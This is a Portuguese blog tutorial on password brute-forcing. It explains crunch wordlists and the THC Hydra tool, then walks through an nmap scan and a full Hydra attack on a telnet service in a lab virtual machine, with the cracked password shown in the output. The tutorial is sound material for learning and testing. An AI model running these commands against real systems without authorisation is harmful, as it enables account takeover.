Senhas são talvez o elo mais fraco em qualquer sistema de segurança existente hoje em dia. Nem sempre o administrador, que tem conhecimento de questões relacionadas à segurança da informação, pode acompanhar o usuário e garantir que ele faça uma escolha de senha segura. Muitas vezes, nem mesmo quando se define regras para senhas pode-se ter 100% de certeza que uma senha segura será a escolhida.
Por exemplo, imagine que você definiu uma regra que requer que seja escolhida uma senha de no mínimo 8 caracteres, letras maiúsculas e minúsculas e números. Se o seu usuário escolher algo como "Pedro123" você continuará a ter uma senha insegura. Mas o pior lado dessa história é que o atacante também sabe que senhas são inseguras e muito frequentemente se aproveita desse fato para ganhar acesso ilegal ao seu sistema. A técnica mais simples utilizada por usuários maliciosos é o brute forcing. Neste post, vou definir o que é brute force e também vou mostrar a ferramenta THC Hydra utilizada em ataques deste tipo
UM Pouco da Historia
O sistema de login e senha é um dos esquemas de segurança mais antigos e funcionais que existe. A história do uso de senhas é bem antiga, datada da Idade Média onde donos de fortalezas requisitavam uma palavra chave para que as pessoas pudessem entrar quando dissesse a palavra correta. Na década de 60, começaram a intensificar as pesquisas e o desenvolvimento de novas tecnologias. Foi aí que surgiram sistemas operacionais robustos e multiusuários. Para poder diferenciar as pessoas e impedir que qualquer um possa ter acesso aos computadores, cientistas do MIT implementaram o esquema da "palavra chave" para o mundo virtual. Foi aí que surgiram as primeiras telas de login e senha. Mas além de criar um esquema que impeça o uso dos computadores por pessoas não autorizadas, é necessário que haja um mecanismo de autenticação relativamente seguro no momento do login, para que impeça a ação dos mais espertos.
O que é um Brute force
Levando o termo ao pé da letra, significa "força bruta". É um método usado para descobrir senhas a modo bruto, onde é testado todas as combinações possíveis. O atacante usa ferramentas que gera lista de palavras (senhas) a seres testadas no alvo, um exemplo disso é o crunch, onde a ferramenta possibilita a criação de senhas ao nosso modo (somente numeros, somente letras, etc).
Apos a criação da wordlist (Lista de palavras), é hora de usar a ferramenta (THC Hydra) capaz de testar todas as senhas que foram criadas no alvo e caso alguma combinação de senha for aceita, irá exibir o resultado para nós.
THC Hidra
A ferramenta foi criada por um grupo de hackers alemão, chamado THC ha alguns anos. A ferramenta aceita os seguintes protocolos.
- AFP
- Cisco AAA
- Cisco auth
- Cisco enable
- CVS
- Firebird
- FTP
- HTTP-FORM-GET
- HTTP-FORM-POST
- HTTP-GET
- HTTP-HEAD
- HTTP-PROXY
- ICQ
- IMAP
- IRC
- LDAP2
- LDAP3
- MS-SQL
- MYSQL
- NCP
- NNTP
- Oracle
- Oracle-Listener
- Oracle-SID
- PC-Anywhere
- PCNFS
- POP3
- POSTGRES
- RDP
- REXEC
- RLOGIN
- RSH
- SAP/R3
- SIP
- SMB
- SMTP
- SMTP-Enum
- SNMP
- SOCKS5
- SSH(v1 and v2)
- Subversion
- Teamspeak (TS2)
- Telnet (Protocolo que iremos utilizar)
- VMware-Auth
- VNC and XMPP.
Existe uma versão gráfica da ferramenta chamada xhydra.

A distribuição BackTrack já possuí essa ferramenta instalada.
Instalaçao
A instalação do Hydra é bem simples, basta você baixar o pacote aqui.
$ wget http://www.thc.org/releases/hydra-7.2-src.tar.gzDepois vamos descompactar a pasta.
$ tar -xvzf hydra-7.2-src.tar.gzVamos agora entrar na pasta
$ cd hydra-7.2-srcE iniciar a instalação com os comandos abaixo:
$ ./configure $ make $ make install
Depois disso, você pode usar o Hydra a vontade. Abaixo um pequeno script que baixa e instala o hydra pra você.
#!/bin/bash # Por Jarlley Ribeiro @0fx66 echo " [x] Downloading Hydra..." wget http://www.thc.org/releases/hydra-7.2-src.tar.gz 1> /dev/null 2> /dev/stdout echo " [x] Unpacking files..." tar -xvzf hydra-7.2-src.tar.gz 1> /dev/null 2> /dev/stdout cd hydra-7.2-src 1> /dev/null 2> /dev/stdout echo " [x] Starting the instalation..." ./configure 1> /dev/null 2> /dev/stdout make 1> /dev/null 2> /dev/stdout make install 1> /dev/null 2> /dev/stdout echo "Run in the terminal: hydra --help for more options..."Para rodar o script, dê a permissão de execução no arquivo.
$ chmod +x Hydra_install.sh
Exemplo de um ataque usando o hidra
Agora, vamos demonstrar uma ataque a um servidor telnet utilizando o hydra. Primeiro, você deve ter em mãos as seguintes informações:
- Hydra instalado
- WordList
- IP do alvo
Para descobrir os serviços em uma determinada máquina, rode no terminal o seguinte comando.
$ nmap -sV Endereço_IPO resultado será o seguinte:
$ nmap -sV 192.168.1.140 Starting Nmap 5.00 ( http://nmap.org ) at 2012-05-25 02:52 UTC Interesting ports on xpsp0 (192.168.1.140): Not shown: 993 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet Microsoft Windows XP telnetd 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds 1025/tcp open msrpc Microsoft Windows RPC 3389/tcp open ms-term-serv? 5000/tcp open upnp Microsoft Windows UPnP MAC Address: 08:00:27:B1:AF:83 (Cadmus Computer Systems) Service Info: OSs: Windows XP, Windows Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.54 secondsDepois de saber que o nosso alvo está On, vamos rodar no terminal o seguinte comando:
$ hydra -s 23 -l ribeiro -P PASSFILE.txt -o LogFile.txt -4 -V 192.168.1.140 telnetVamos agora analisar todos os parâmetros passados a ferramenta.
Ps: Usei o máximo de parâmetros para demonstração, mas não é necessário os parâmetros -s, -o -4. Fica a seu critério :-)
- hydra: Software usado no ataque
- -s 23: Porta usada (caso o administrador mude)
- -l ribeiro: O usuário (caso não sabia, use a opção -L com a lista de possíveis nomes)
- -P PASSFILE.TXT: Lista de possíveis senhas geradas pelo chunch
- -o LogFile.txt: Log criado com os dados
- -4: IP versão 4 (caso seja o v6, utilizar "-6")
- -V: Modo verbose (mostra o processo rodando)
- 192.168.1.140: IP do alvo. (Máquina virtual)
- telnet: Servidor que decidi atacar
Hydra v7.2 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2012-05-25 03:02:16 [WARNING] telnet is by its nature unreliable to analyze reliable, if possible
better choose FTP or SSH if available [DATA] 9 tasks, 1 server, 9 login tries (l:1/p:9), ~1 try per task [DATA] attacking service telnet on port 23 [ATTEMPT] target 192.168.1.140 - login "ribeiro" - pass "111" - 1 of 9 [child 0] [ATTEMPT] target 192.168.1.140 - login "ribeiro" - pass "222" - 2 of 9 [child 1] [ATTEMPT] target 192.168.1.140 - login "ribeiro" - pass "333" - 3 of 9 [child 2] [ATTEMPT] target 192.168.1.140 - login "ribeiro" - pass "444" - 4 of 9 [child 3] [ATTEMPT] target 192.168.1.140 - login "ribeiro" - pass "555" - 5 of 9 [child 4] [ATTEMPT] target 192.168.1.140 - login "ribeiro" - pass "666" - 6 of 9 [child 5] [ATTEMPT] target 192.168.1.140 - login "ribeiro" - pass "777" - 7 of 9 [child 6] [ATTEMPT] target 192.168.1.140 - login "ribeiro" - pass "888" - 8 of 9 [child 7] [ATTEMPT] target 192.168.1.140 - login "ribeiro" - pass "999" - 9 of 9 [child 8] [23][telnet] host: 192.168.1.140 login: ribeiro password: 666 [STATUS] attack finished for 192.168.1.140 (waiting for children to finish) 1 of 1 target successfuly completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2012-05-25 03:02:19Podemo ver ali que a senha foi "crackeada".

Vamos agora tentar logar no servidor com a senha que o programa mostrou.

Estamos dentro ;-)
Podemos ver como uma senha "fraca" pode causar, imagina se fosse uma grande empresa?
Referencia Nos Lnks:
0 comentários:
Postar um comentário